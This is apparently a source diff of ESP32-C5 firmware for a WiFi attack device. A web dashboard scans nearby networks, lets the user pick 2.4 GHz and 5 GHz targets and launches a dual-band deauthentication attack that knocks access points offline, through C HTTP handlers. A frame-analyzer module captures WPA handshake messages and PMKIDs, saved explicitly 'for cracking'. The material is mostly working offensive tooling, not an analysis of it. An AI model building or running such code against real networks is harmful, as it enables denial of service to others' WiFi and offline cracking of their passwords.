"<h1>&#x1F4F6; Channel Utilization Map</h1>"
"<div class='card'><h2>&#x1F4F6; 2.4 GHz Channels (1-13)</h2><div class='chart-container'><canvas id='chart24'></canvas></div></div>"
"<div class='card'><h2>&#x1F4E1; 5 GHz Channels</h2><div class='chart-container'><canvas id='chart5'></canvas></div></div>"
"<div class='card'><h2>&#x1F4CA; Channel Details</h2><div id='channel-details'></div></div>"
"</div>"
"<!-- RECON PAGE -->"
"<div id='recon' class='page'>"
"<h1>&#x1F575; Network Reconnaissance</h1>"
"<div class='card'><h2>&#x1F4CB; Network Intelligence</h2><div id='recon-data'><p style='color:#888'>Scan networks to gather intelligence</p></div></div>"
"<div class='card'><h2>&#x1F512; Security Analysis</h2><div id='security-analysis'></div></div>"
"<div class='card'><h2>&#x1F4F6; Vendor Detection</h2><div id='vendor-info'></div></div>"
"</div>"
"<!-- SETTINGS PAGE -->"
"<div id='settings' class='page'>"
"<h1>&#x2699; System Settings</h1>"
"<div class='card'><h2>&#x1F4BB; System Info</h2><div id='sysinfo'>Loading...</div></div>"
"<div class='card'><h2>&#x1F504; Device Control</h2><button class='btn btn-danger' onclick='rebootDevice()'>&#x1F504; Reboot Device</button></div>"
"</div>"
"</div></div>"
"<script>"
"let networks=[];let selected24=null;let selected5=null;let charts={};"
"let rssiData=Array(20).fill(-100);"
"// Navigation"
"document.querySelectorAll('#nav li').forEach(item=>{"
"item.addEventListener('click',()=>showPage(item.dataset.page))"
"});"
"function showPage(page){"
"document.querySelectorAll('#nav li').forEach(i=>i.classList.remove('active'));"
"document.querySelectorAll('.page').forEach(p=>p.classList.remove('active'));"
"document.querySelector(`[data-page='${page}']`).classList.add('active');"
"document.getElementById(page).classList.add('active');"
"}"
"// Charts initialization"
"function initCharts(){"
"const ctx1=document.getElementById('rssiChart');"
"if(ctx1){charts.rssi=new Chart(ctx1,{type:'line',data:{labels:Array(20).fill(''),datasets:[{label:'RSSI',data:rssiData,borderColor:'#00ff41',tension:0.4,fill:true,backgroundColor:'rgba(0,255,65,0.1)'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{min:-100,max:-20}},plugins:{legend:{display:false}}}});}"
"const ctx2=document.getElementById('chart24');"
"if(ctx2){charts.ch24=new Chart(ctx2,{type:'bar',data:{labels:['1','2','3','4','5','6','7','8','9','10','11','12','13'],datasets:[{label:'Networks',data:Array(13).fill(0),backgroundColor:'#2196F3'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{beginAtZero:true}}}});}"
"const ctx3=document.getElementById('chart5');"
"if(ctx3){charts.ch5=new Chart(ctx3,{type:'bar',data:{labels:['36','40','44','48','52','56','60','64','100','104','108','112','116','120','124','128','132','136','140','144','149','153','157','161','165'],datasets:[{label:'Networks',data:Array(25).fill(0),backgroundColor:'#ff9800'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{beginAtZero:true}}}});}"
"}"
"// Scan networks"
"async function scanNetworks(){"
"document.getElementById('scan-status').innerHTML='<span style=\"color:#00d4ff\">Scanning...</span>';"
"try{"
"const res=await fetch('/api/scan');"
"const data=await res.json();"
"networks=data.networks||[];"
"document.getElementById('scan-status').innerHTML=`<span style=\"color:#00ff41\">Found ${networks.length} networks</span>`;"
"updateNetworkDisplay();"
"updateChannelCharts();"
"updateRecon();"
"document.getElementById('networks').textContent=networks.length;"
"}catch(e){document.getElementById('scan-status').innerHTML=`<span style=\"color:#ff0040\">Error: ${e}</span>`;}"
"}"
"function quickScan(){scanNetworks();}"
"// Update network display"
"function updateNetworkDisplay(){"
"let html24='',html5='',tableHtml='<table><tr><th>SSID</th><th>BSSID</th><th>CH</th><th>RSSI</th><th>Security</th><th>Select</th></tr>';"
"networks.forEach((n,i)=>{"
"const is24=(n.channel<=14);"
"const rssiPct=Math.min(100,Math.max(0,100+n.rssi));"
"const rssiColor=n.rssi>-50?'#00ff41':n.rssi>-70?'#ff9800':'#ff0040';"
"const netHtml=`<div class='network ${selected24&&selected24.bssid===n.bssid?'selected-24':''} ${selected5&&selected5.bssid===n.bssid?'selected-5':''}' onclick='selectNetwork(${i})'><strong>${n.ssid||'(Hidden)'}</strong><br><small>CH:${n.channel} | ${n.rssi}dBm | ${n.security||'Unknown'}</small><br><div class='rssi-bar'><div class='rssi-fill' style='width:${rssiPct}%;background:${rssiColor}'></div></div></div>`;"
"if(is24)html24+=netHtml;else html5+=netHtml;"
"tableHtml+=`<tr><td>${n.ssid||'(Hidden)'}</td><td><code>${n.bssid}</code></td><td class='${is24?'band-24':'band-5'}'>${n.channel}</td><td>${n.rssi}dBm</td><td>${n.security||'?'}</td>`;"
"tableHtml+=`<td><button class='btn ${is24?'':'btn-warning'}' onclick='selectNetwork(${i})'>${is24?'2.4GHz':'5GHz'}</button></td></tr>`;"
"});"
"tableHtml+='</table>';"
"document.getElementById('networks-24').innerHTML=html24||'<p style=\"color:#888\">No 2.4GHz networks</p>';"
"document.getElementById('networks-5').innerHTML=html5||'<p style=\"color:#888\">No 5GHz networks</p>';"
"document.getElementById('networks-table').innerHTML=tableHtml;"
"}"
"// Select network for attack"
"function selectNetwork(idx){"
"const n=networks[idx];"
"if(n.channel<=14){selected24=n;}else{selected5=n;}"
"updateTargets();"
"updateNetworkDisplay();"
"}"
"function updateTargets(){"
"let html='';"
"if(selected24)html+=`<div class='target-card target-24'><strong>&#x1F4F6; 2.4GHz Target</strong><br>${selected24.ssid}<br><code>${selected24.bssid}</code><br>CH:${selected24.channel}</div>`;"
"if(selected5)html+=`<div class='target-card target-5'><strong>&#x1F4E1; 5GHz Target</strong><br>${selected5.ssid}<br><code>${selected5.bssid}</code><br>CH:${selected5.channel}</div>`;"
"document.getElementById('targets').innerHTML=html||'<p style=\"color:#888\">No targets selected</p>';"
"}"
"// Update channel charts"
"function updateChannelCharts(){"
"if(!charts.ch24||!charts.ch5)return;"
"const ch24=Array(13).fill(0);"
"const ch5Labels=['36','40','44','48','52','56','60','64','100','104','108','112','116','120','124','128','132','136','140','144','149','153','157','161','165'];"
"const ch5=Array(25).fill(0);"
"networks.forEach(n=>{"
"if(n.channel<=13)ch24[n.channel-1]++;"
"else{const idx=ch5Labels.indexOf(String(n.channel));if(idx>=0)ch5[idx]++;}"
"});"
"charts.ch24.data.datasets[0].data=ch24;charts.ch24.update();"
"charts.ch5.data.datasets[0].data=ch5;charts.ch5.update();"
"}"
"// Update recon"
"function updateRecon(){"
"let securityStats={open:0,wep:0,wpa:0,wpa2:0,wpa3:0};"
"networks.forEach(n=>{"
"const s=(n.security||'').toLowerCase();"
"if(s.includes('open'))securityStats.open++;"
"else if(s.includes('wep'))securityStats.wep++;"
"else if(s.includes('wpa3'))securityStats.wpa3++;"
"else if(s.includes('wpa2'))securityStats.wpa2++;"
"else if(s.includes('wpa'))securityStats.wpa++;"
"});"
"document.getElementById('security-analysis').innerHTML=`<p>Open: <strong style=color:#ff0040>${securityStats.open}</strong></p><p>WEP: <strong style=color:#ff9800>${securityStats.wep}</strong></p><p>WPA: <strong>${securityStats.wpa}</strong></p><p>WPA2: <strong style=color:#00ff41>${securityStats.wpa2}</strong></p><p>WPA3: <strong style=color:#00d4ff>${securityStats.wpa3}</strong></p>`;"
"let reconHtml='<table><tr><th>SSID</th><th>Band</th><th>Channel</th><th>Signal</th><th>Security</th></tr>';"
"networks.slice(0,20).forEach(n=>{"
"reconHtml+=`<tr><td>${n.ssid||'(Hidden)'}</td><td class='${n.channel<=14?'band-24':'band-5'}'>${n.channel<=14?'2.4GHz':'5GHz'}</td><td>${n.channel}</td><td>${n.rssi}dBm</td><td>${n.security||'?'}</td></tr>`;"
"});"
"reconHtml+='</table>';"
"document.getElementById('recon-data').innerHTML=reconHtml;"
"}"
"// Deauth functions"
"async function startDeauth(){"
"if(!selected24&&!selected5){alert('Select at least one target first!');return;}"
"const duration=document.getElementById('duration').value;"
"if(!confirm(`Start DUAL-BAND attack?\\n\\n2.4GHz: ${selected24?selected24.ssid:'None'}\\n5GHz: ${selected5?selected5.ssid:'None'}\\n\\nDuration: ${duration}s\\n\\n⚠ WiFi AP will be OFFLINE during attack!`))return;"
"try{"
"const body={duration:parseInt(duration)};"
"if(selected24)body.target_24ghz={ssid:selected24.ssid,bssid:selected24.bssid,channel:selected24.channel};"
"if(selected5)body.target_5ghz={ssid:selected5.ssid,bssid:selected5.bssid,channel:selected5.channel};"
"const res=await fetch('/api/deauth/start',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(body)});"
"const data=await res.json();"
"document.getElementById('attack-stats').innerHTML=`<p style='color:#ff0040' class='status-running'>&#x26A1; ATTACK RUNNING - WiFi will be unavailable!</p><p>Reconnect after ${duration}s when attack completes.</p>`;"
"document.getElementById('attack-status').textContent='RUNNING';"
"document.getElementById('attack-status').className='value status-running';"
"}catch(e){alert('Error: '+e);}"
"}"
"async function stopDeauth(){"
"try{await fetch('/api/deauth/stop');document.getElementById('attack-stats').innerHTML='<p style=\"color:#00ff41\">Attack stopped</p>';document.getElementById('attack-status').textContent='IDLE';}catch(e){}"
"}"
"// System info"
"async function loadSysInfo(){"
"try{"
"const res=await fetch('/api/system-info');"
"const data=await res.json();"
"document.getElementById('sysinfo').innerHTML=`<p>Chip: ${data.chip||'ESP32-C5'}</p><p>Free Heap: ${data.heap||'?'} bytes</p><p>Version: ${data.version||'1.0'}</p>`;"
"document.getElementById('heap').textContent=Math.round((data.heap||0)/1024)+'KB';"
"}catch(e){}"
"}"
"async function rebootDevice(){if(confirm('Reboot device?'))fetch('/api/reboot');}"
"// Init"
"document.addEventListener('DOMContentLoaded',()=>{"
"initCharts();"
"loadSysInfo();"
"scanNetworks();"
"});"
"</script>"
"</body></html>";
return html;
}
// ============================================================================
// HANDLERS
// ============================================================================
static esp_err_t root_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "Serving enhanced dashboard");
const char* html = get_enhanced_html();
httpd_resp_set_type(req, "text/html");
httpd_resp_send(req, html, strlen(html));
return ESP_OK;
}
static esp_err_t scan_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "WiFi scan requested");
// Reset channel stats
memset(channel_24ghz, 0, sizeof(channel_24ghz));
memset(channel_5ghz, 0, sizeof(channel_5ghz));
// Start scan
wifi_scan_config_t scan_config = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time.active.min = 100,
.scan_time.active.max = 300
};
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
if (err != ESP_OK) {
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"error\",\"networks\":[]}");
return ESP_OK;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
if (last_scan_results) free(last_scan_results);
last_scan_results = malloc(sizeof(wifi_ap_record_t) * ap_count);
last_scan_count = ap_count;
esp_wifi_scan_get_ap_records(&ap_count, last_scan_results);
// Build JSON
cJSON *root = cJSON_CreateObject();
cJSON *networks = cJSON_CreateArray();
for (int i = 0; i < ap_count; i++) {
cJSON *ap = cJSON_CreateObject();
cJSON_AddStringToObject(ap, "ssid", (char*)last_scan_results[i].ssid);
cJSON_AddNumberToObject(ap, "rssi", last_scan_results[i].rssi);
cJSON_AddNumberToObject(ap, "channel", last_scan_results[i].primary);
// BSSID
char bssid[18];
snprintf(bssid, sizeof(bssid), "%02x:%02x:%02x:%02x:%02x:%02x",
last_scan_results[i].bssid[0], last_scan_results[i].bssid[1],
last_scan_results[i].bssid[2], last_scan_results[i].bssid[3],
last_scan_results[i].bssid[4], last_scan_results[i].bssid[5]);
cJSON_AddStringToObject(ap, "bssid", bssid);
// Band
cJSON_AddStringToObject(ap, "band", last_scan_results[i].primary > 14 ? "5GHz" : "2.4GHz");
// Security
const char* security;
switch (last_scan_results[i].authmode) {
case WIFI_AUTH_OPEN: security = "Open"; break;
case WIFI_AUTH_WEP: security = "WEP"; break;
case WIFI_AUTH_WPA_PSK: security = "WPA"; break;
case WIFI_AUTH_WPA2_PSK: security = "WPA2"; break;
case WIFI_AUTH_WPA_WPA2_PSK: security = "WPA/WPA2"; break;
case WIFI_AUTH_WPA3_PSK: security = "WPA3"; break;
case WIFI_AUTH_WPA2_WPA3_PSK: security = "WPA2/WPA3"; break;
default: security = "Unknown";
}
cJSON_AddStringToObject(ap, "security", security);
// Update channel stats
if (last_scan_results[i].primary <= 13) {
channel_24ghz[last_scan_results[i].primary]++;
}
// Store RSSI for history
rssi_history[rssi_index] = last_scan_results[i].rssi;
rssi_index = (rssi_index + 1) % 50;
cJSON_AddItemToArray(networks, ap);
}
cJSON_AddItemToObject(root, "networks", networks);
cJSON_AddNumberToObject(root, "count", ap_count);
char *json = cJSON_PrintUnformatted(root);
httpd_resp_set_type(req, "application/json");
httpd_resp_send(req, json, strlen(json));
free(json);
cJSON_Delete(root);
ESP_LOGI(TAG, "Found %d networks", ap_count);
return ESP_OK;
}
static esp_err_t deauth_start_handler(httpd_req_t *req) {
ESP_LOGI(TAG, "Deauth start requested");
char buf[512];
int ret = httpd_req_recv(req, buf, sizeof(buf) - 1);
if (ret <= 0) {
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"No data\"}");
return ESP_OK;
}
buf[ret] = '\0';
cJSON *root = cJSON_Parse(buf);
if (!root) {
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Invalid JSON\"}");
return ESP_OK;
}
deauth_target_t target_24 = {0};
deauth_target_t target_5 = {0};
// Parse 2.4GHz target
cJSON *t24 = cJSON_GetObjectItem(root, "target_24ghz");
if (t24) {
cJSON *ssid = cJSON_GetObjectItem(t24, "ssid");
cJSON *bssid = cJSON_GetObjectItem(t24, "bssid");
cJSON *channel = cJSON_GetObjectItem(t24, "channel");
if (cJSON_IsString(ssid) && cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
strncpy(target_24.ssid, ssid->valuestring, sizeof(target_24.ssid) - 1);
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&target_24.bssid[0], &target_24.bssid[1], &target_24.bssid[2],
&target_24.bssid[3], &target_24.bssid[4], &target_24.bssid[5]);
target_24.channel = (uint8_t)channel->valueint;
target_24.active = true;
}
}
// Parse 5GHz target
cJSON *t5 = cJSON_GetObjectItem(root, "target_5ghz");
if (t5) {
cJSON *ssid = cJSON_GetObjectItem(t5, "ssid");
cJSON *bssid = cJSON_GetObjectItem(t5, "bssid");
cJSON *channel = cJSON_GetObjectItem(t5, "channel");
if (cJSON_IsString(ssid) && cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
strncpy(target_5.ssid, ssid->valuestring, sizeof(target_5.ssid) - 1);
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&target_5.bssid[0], &target_5.bssid[1], &target_5.bssid[2],
&target_5.bssid[3], &target_5.bssid[4], &target_5.bssid[5]);
target_5.channel = (uint8_t)channel->valueint;
target_5.active = true;
}
}
// Get duration
cJSON *dur = cJSON_GetObjectItem(root, "duration");
uint32_t duration = cJSON_IsNumber(dur) ? dur->valueint : 30;
cJSON_Delete(root);
// Start attack
bool success = deauth_start_attack(
target_24.active ? &target_24 : NULL,
target_5.active ? &target_5 : NULL,
duration
);
httpd_resp_set_type(req, "application/json");
if (success) {
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Dual-band attack started\"}");
} else {
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to start attack\"}");
}
return ESP_OK;
}
static esp_err_t deauth_stop_handler(httpd_req_t *req) {
deauth_stop_attack();
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Attack stopped\"}");
return ESP_OK;
}
static esp_err_t sysinfo_handler(httpd_req_t *req) {
cJSON *root = cJSON_CreateObject();
cJSON_AddStringToObject(root, "chip", "ESP32-C5");
cJSON_AddNumberToObject(root, "heap", esp_get_free_heap_size());
cJSON_AddStringToObject(root, "version", "2.0.0");
cJSON_AddBoolToObject(root, "attack_running", deauth_is_running());
char *json = cJSON_PrintUnformatted(root);
httpd_resp_set_type(req, "application/json");
httpd_resp_send(req, json, strlen(json));
free(json);
cJSON_Delete(root);
return ESP_OK;
}
static esp_err_t reboot_handler(httpd_req_t *req) {
httpd_resp_set_type(req, "application/json");
httpd_resp_sendstr(req, "{\"status\":\"ok\"}");
vTaskDelay(pdMS_TO_TICKS(500));
esp_restart();
return ESP_OK;
}
// ============================================================================
// URI HANDLERS
// ============================================================================
static httpd_uri_t uri_root = {.uri = "/", .method = HTTP_GET, .handler = root_handler};
static httpd_uri_t uri_scan = {.uri = "/api/scan", .method = HTTP_GET, .handler = scan_handler};
static httpd_uri_t uri_deauth_start = {.uri = "/api/deauth/start", .method = HTTP_POST, .handler = deauth_start_handler};
static httpd_uri_t uri_deauth_stop = {.uri = "/api/deauth/stop", .method = HTTP_GET, .handler = deauth_stop_handler};
static httpd_uri_t uri_sysinfo = {.uri = "/api/system-info", .method = HTTP_GET, .handler = sysinfo_handler};
static httpd_uri_t uri_reboot = {.uri = "/api/reboot", .method = HTTP_GET, .handler = reboot_handler};
static httpd_handle_t server = NULL;
httpd_handle_t start_webserver(void) {
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
config.stack_size = 8192;
config.max_uri_handlers = 10;
ESP_LOGI(TAG, "Starting enhanced web server");
if (httpd_start(&server, &config) == ESP_OK) {
httpd_register_uri_handler(server, &uri_root);
httpd_register_uri_handler(server, &uri_scan);
httpd_register_uri_handler(server, &uri_deauth_start);
httpd_register_uri_handler(server, &uri_deauth_stop);
httpd_register_uri_handler(server, &uri_sysinfo);
httpd_register_uri_handler(server, &uri_reboot);
ESP_LOGI(TAG, "Enhanced web server started at http://192.168.4.1");
return server;
}
ESP_LOGE(TAG, "Failed to start web server");
return NULL;
}
void stop_webserver(void) {
if (server) {
httpd_stop(server);
server = NULL;
}
}
void init_web_server(void) {
start_webserver();
}

View File

@@ -0,0 +1,336 @@
/**
* @file frame_analyzer.c
* @brief Frame analyzer implementation for EAPOL/Handshake/PMKID capture
*
* Parses 802.11 data frames to extract WPA handshake components
*/
#include "frame_analyzer.h"
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include "esp_log.h"
#include "esp_err.h"
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
static const char *TAG = "frame_analyzer";
// Global state
static uint8_t target_bssid[6] = {0};
static uint8_t target_ssid[33] = {0};
static uint8_t target_ssid_len = 0;
static search_type_t current_search_type = SEARCH_HANDSHAKE;
static handshake_data_t captured_handshake = {0};
static pmkid_item_t *captured_pmkids = NULL;
static SemaphoreHandle_t analyzer_mutex = NULL;
static bool capture_active = false;
// EAPOL/LLC constants
#define LLC_SNAP_HEADER_SIZE 8
#define EAPOL_TYPE_KEY 0x03
void frame_analyzer_init(void) {
if (analyzer_mutex == NULL) {
analyzer_mutex = xSemaphoreCreateMutex();
}
frame_analyzer_reset();
ESP_LOGI(TAG, "Frame analyzer initialized");
}
// Internal reset function without mutex (called when mutex is already held)
static void frame_analyzer_reset_internal(void) {
memset(&captured_handshake, 0, sizeof(captured_handshake));
// Free PMKIDs
while (captured_pmkids) {
pmkid_item_t *next = captured_pmkids->next;
free(captured_pmkids);
captured_pmkids = next;
}
captured_pmkids = NULL;
}
void frame_analyzer_reset(void) {
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, portMAX_DELAY)) {
frame_analyzer_reset_internal();
xSemaphoreGive(analyzer_mutex);
}
}
void frame_analyzer_capture_start(search_type_t search_type, const uint8_t *bssid, const uint8_t *ssid, uint8_t ssid_len) {
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, portMAX_DELAY)) {
frame_analyzer_reset_internal(); // Use internal version (mutex already held)
current_search_type = search_type;
memcpy(target_bssid, bssid, 6);
if (ssid && ssid_len > 0) {
memcpy(target_ssid, ssid, ssid_len);
target_ssid_len = ssid_len;
memcpy(captured_handshake.ssid, ssid, ssid_len);
captured_handshake.ssid_len = ssid_len;
}
memcpy(captured_handshake.ap_mac, bssid, 6);
capture_active = true;
ESP_LOGI(TAG, "Capture started for BSSID: %02x:%02x:%02x:%02x:%02x:%02x, SSID: %s",
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5],
ssid_len > 0 ? (char*)target_ssid : "(unknown)");
xSemaphoreGive(analyzer_mutex);
}
}
void frame_analyzer_capture_stop(void) {
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, portMAX_DELAY)) {
capture_active = false;
ESP_LOGI(TAG, "Capture stopped");
xSemaphoreGive(analyzer_mutex);
}
}
bool is_frame_bssid_matching(const wifi_promiscuous_pkt_t *frame, const uint8_t *target_bssid) {
const data_frame_t *data_frame = (const data_frame_t *)frame->payload;
// Check addr1, addr2, addr3 for BSSID match
if (memcmp(data_frame->mac_header.addr1, target_bssid, 6) == 0 ||
memcmp(data_frame->mac_header.addr2, target_bssid, 6) == 0 ||
memcmp(data_frame->mac_header.addr3, target_bssid, 6) == 0) {
return true;
}
return false;
}
eapol_packet_t* parse_eapol_packet(data_frame_t *frame) {
// Skip MAC header to get LLC/SNAP header
uint8_t *body = frame->body;
// Check LLC/SNAP header
llc_snap_header_t *llc = (llc_snap_header_t *)body;
if (llc->snap_dsap != 0xAA || llc->snap_ssap != 0xAA || llc->control != 0x03) {
return NULL;
}
// Check EtherType for EAPOL (0x888e)
uint16_t *ether_type = (uint16_t *)(body + 6);
if (ntohs(*ether_type) != ETHER_TYPE_EAPOL) {
return NULL;
}
// Return pointer to EAPOL packet (after LLC/SNAP header)
return (eapol_packet_t *)(body + LLC_SNAP_HEADER_SIZE);
}
eapol_key_packet_t* parse_eapol_key_packet(eapol_packet_t *eapol_packet) {
if (eapol_packet->header.packet_type != EAPOL_KEY) {
return NULL;
}
return (eapol_key_packet_t *)eapol_packet->packet_body;
}
pmkid_item_t* parse_pmkid(eapol_key_packet_t *eapol_key_packet) {
uint16_t key_data_len = ntohs(eapol_key_packet->key_data_length);
if (key_data_len == 0) {
return NULL;
}
pmkid_item_t *head = NULL;
pmkid_item_t *tail = NULL;
uint8_t *key_data = eapol_key_packet->key_data;
unsigned offset = 0;
while (offset < key_data_len) {
key_data_field_t *field = (key_data_field_t *)(key_data + offset);
if (field->type == KEY_DATA_TYPE) {
uint32_t oui = ntohl(field->oui << 8);
if (oui == KEY_DATA_OUI_IEEE80211 && field->data_type == KEY_DATA_DATA_TYPE_PMKID_KDE) {
// Found PMKID
pmkid_item_t *item = malloc(sizeof(pmkid_item_t));
if (item) {
memcpy(item->pmkid, field->data, 16);
item->next = NULL;
if (!head) {
head = item;
tail = item;
} else {
tail->next = item;
tail = item;
}
ESP_LOGI(TAG, "PMKID captured!");
}
}
}
offset += 2 + field->length; // type + length + data
if (field->length == 0) break; // Prevent infinite loop
}
return head;
}
// Helper: Check if array is all zeros
static bool is_zero_array(const uint8_t *arr, size_t len) {
for (size_t i = 0; i < len; i++) {
if (arr[i] != 0) return false;
}
return true;
}
// Process handshake message from AP (M1 or M3)
static void process_ap_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
// Copy AP MAC if not set
if (is_zero_array(captured_handshake.ap_mac, 6)) {
memcpy(captured_handshake.ap_mac, frame->mac_header.addr2, 6);
}
// Determine M1 or M3 by checking Key MIC
// M1: Key MIC is empty, M3: Key MIC is present
if (is_zero_array(eapol_key->key_mic, 16)) {
// This is M1 - contains ANonce
ESP_LOGI(TAG, "Captured M1 (AP -> STA, ANonce)");
memcpy(captured_handshake.anonce, eapol_key->key_nonce, 32);
if (captured_handshake.state < HANDSHAKE_STATE_M1_CAPTURED) {
captured_handshake.state = HANDSHAKE_STATE_M1_CAPTURED;
}
} else {
// This is M3 - also contains ANonce
ESP_LOGI(TAG, "Captured M3 (AP -> STA)");
if (captured_handshake.state < HANDSHAKE_STATE_M3_CAPTURED) {
if (captured_handshake.state < HANDSHAKE_STATE_M1_CAPTURED) {
// Didn't see M1, copy ANonce from M3
memcpy(captured_handshake.anonce, eapol_key->key_nonce, 32);
}
captured_handshake.state = HANDSHAKE_STATE_M3_CAPTURED;
}
// If we already have M2, we have a complete handshake
if (captured_handshake.state >= HANDSHAKE_STATE_M2_CAPTURED) {
captured_handshake.complete = true;
captured_handshake.message_pair = 2; // M1+M2 or M3+M2
ESP_LOGI(TAG, "*** HANDSHAKE COMPLETE! ***");
}
}
}
// Process handshake message from STA (M2 or M4)
static void process_sta_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
// Copy STA MAC if not set
if (is_zero_array(captured_handshake.sta_mac, 6)) {
memcpy(captured_handshake.sta_mac, frame->mac_header.addr2, 6);
}
// Determine M2 or M4 by checking SNonce
// M2: SNonce is present, M4: SNonce is empty
if (!is_zero_array(eapol_key->key_nonce, 32)) {
// This is M2 - contains SNonce and MIC
ESP_LOGI(TAG, "Captured M2 (STA -> AP, SNonce + MIC)");
memcpy(captured_handshake.snonce, eapol_key->key_nonce, 32);
memcpy(captured_handshake.mic, eapol_key->key_mic, 16);
// Save EAPOL packet for cracking
uint16_t eapol_len = sizeof(eapol_packet_header_t) + ntohs(eapol->header.packet_body_length);
if (eapol_len <= sizeof(captured_handshake.eapol)) {
memcpy(captured_handshake.eapol, eapol, eapol_len);
captured_handshake.eapol_len = eapol_len;
// Zero out MIC in saved EAPOL for verification during cracking
memset(captured_handshake.eapol + 81, 0, 16);
}
if (captured_handshake.state < HANDSHAKE_STATE_M2_CAPTURED) {
captured_handshake.state = HANDSHAKE_STATE_M2_CAPTURED;
}
// If we have M1, we have a complete handshake (M1+M2)
if (captured_handshake.state >= HANDSHAKE_STATE_M1_CAPTURED) {
captured_handshake.complete = true;
captured_handshake.message_pair = 0; // M1+M2
ESP_LOGI(TAG, "*** HANDSHAKE COMPLETE! ***");
}
} else {
// This is M4
ESP_LOGI(TAG, "Captured M4 (STA -> AP)");
if (captured_handshake.state < HANDSHAKE_STATE_M4_CAPTURED) {
captured_handshake.state = HANDSHAKE_STATE_M4_CAPTURED;
}
}
}
void frame_analyzer_process_frame(wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
if (!capture_active || type != WIFI_PKT_DATA) {
return;
}
if (!is_frame_bssid_matching(pkt, target_bssid)) {
return;
}
data_frame_t *frame = (data_frame_t *)pkt->payload;
// Parse EAPOL packet
eapol_packet_t *eapol = parse_eapol_packet(frame);
if (!eapol) {
return;
}
// Parse EAPOL-Key packet
eapol_key_packet_t *eapol_key = parse_eapol_key_packet(eapol);
if (!eapol_key) {
return;
}
ESP_LOGD(TAG, "Got EAPOL-Key frame");
if (analyzer_mutex && xSemaphoreTake(analyzer_mutex, pdMS_TO_TICKS(10))) {
if (current_search_type == SEARCH_PMKID) {
// Looking for PMKID
pmkid_item_t *pmkids = parse_pmkid(eapol_key);
if (pmkids) {
// Add to list
if (!captured_pmkids) {
captured_pmkids = pmkids;
} else {
pmkid_item_t *tail = captured_pmkids;
while (tail->next) tail = tail->next;
tail->next = pmkids;
}
}
} else if (current_search_type == SEARCH_HANDSHAKE) {
// Looking for handshake
// Determine frame direction by comparing addr2 (source) with addr3 (BSSID)
if (memcmp(frame->mac_header.addr2, frame->mac_header.addr3, 6) == 0) {
// Source == BSSID, this is from AP
process_ap_message(frame, eapol, eapol_key);
} else if (memcmp(frame->mac_header.addr1, frame->mac_header.addr3, 6) == 0) {
// Dest == BSSID, this is from STA
process_sta_message(frame, eapol, eapol_key);
}
}
xSemaphoreGive(analyzer_mutex);
}
}
handshake_state_t frame_analyzer_get_handshake_state(void) {
return captured_handshake.state;
}
const handshake_data_t* frame_analyzer_get_handshake(void) {
return &captured_handshake;
}
bool frame_analyzer_handshake_complete(void) {
return captured_handshake.complete;
}
pmkid_item_t* frame_analyzer_get_pmkids(void) {
return captured_pmkids;
}

View File

@@ -0,0 +1,50 @@
/**
* @file frame_analyzer.h
* @brief Frame analyzer for 802.11 EAPOL/Handshake capture
*/
#ifndef FRAME_ANALYZER_H
#define FRAME_ANALYZER_H
#include <stdint.h>
#include <stdbool.h>
#include "esp_wifi.h"
#include "frame_analyzer_types.h"
// Initialize frame analyzer
void frame_analyzer_init(void);
// Start/Stop capture for specific BSSID
void frame_analyzer_capture_start(search_type_t search_type, const uint8_t *bssid, const uint8_t *ssid, uint8_t ssid_len);
void frame_analyzer_capture_stop(void);
// Parse EAPOL packet from data frame
eapol_packet_t* parse_eapol_packet(data_frame_t *frame);
// Parse EAPOL-Key packet from EAPOL packet
eapol_key_packet_t* parse_eapol_key_packet(eapol_packet_t *eapol_packet);
// Parse PMKIDs from EAPOL-Key packet
pmkid_item_t* parse_pmkid(eapol_key_packet_t *eapol_key_packet);
// Check if frame BSSID matches target
bool is_frame_bssid_matching(const wifi_promiscuous_pkt_t *frame, const uint8_t *target_bssid);
// Process captured frame (called by sniffer callback)
void frame_analyzer_process_frame(wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type);
// Get current handshake state
handshake_state_t frame_analyzer_get_handshake_state(void);
// Get captured handshake data
const handshake_data_t* frame_analyzer_get_handshake(void);
// Check if handshake is complete
bool frame_analyzer_handshake_complete(void);
// Get captured PMKIDs
pmkid_item_t* frame_analyzer_get_pmkids(void);
// Reset capture state
void frame_analyzer_reset(void);
#endif // FRAME_ANALYZER_H

View File

@@ -0,0 +1,180 @@
/**
* @file frame_analyzer_types.h
* @brief Frame types and structures for 802.11 and 802.1X analysis
*
* Based on 802.11-2016 and 802.1X-2020 standards
*/
#ifndef FRAME_ANALYZER_TYPES_H
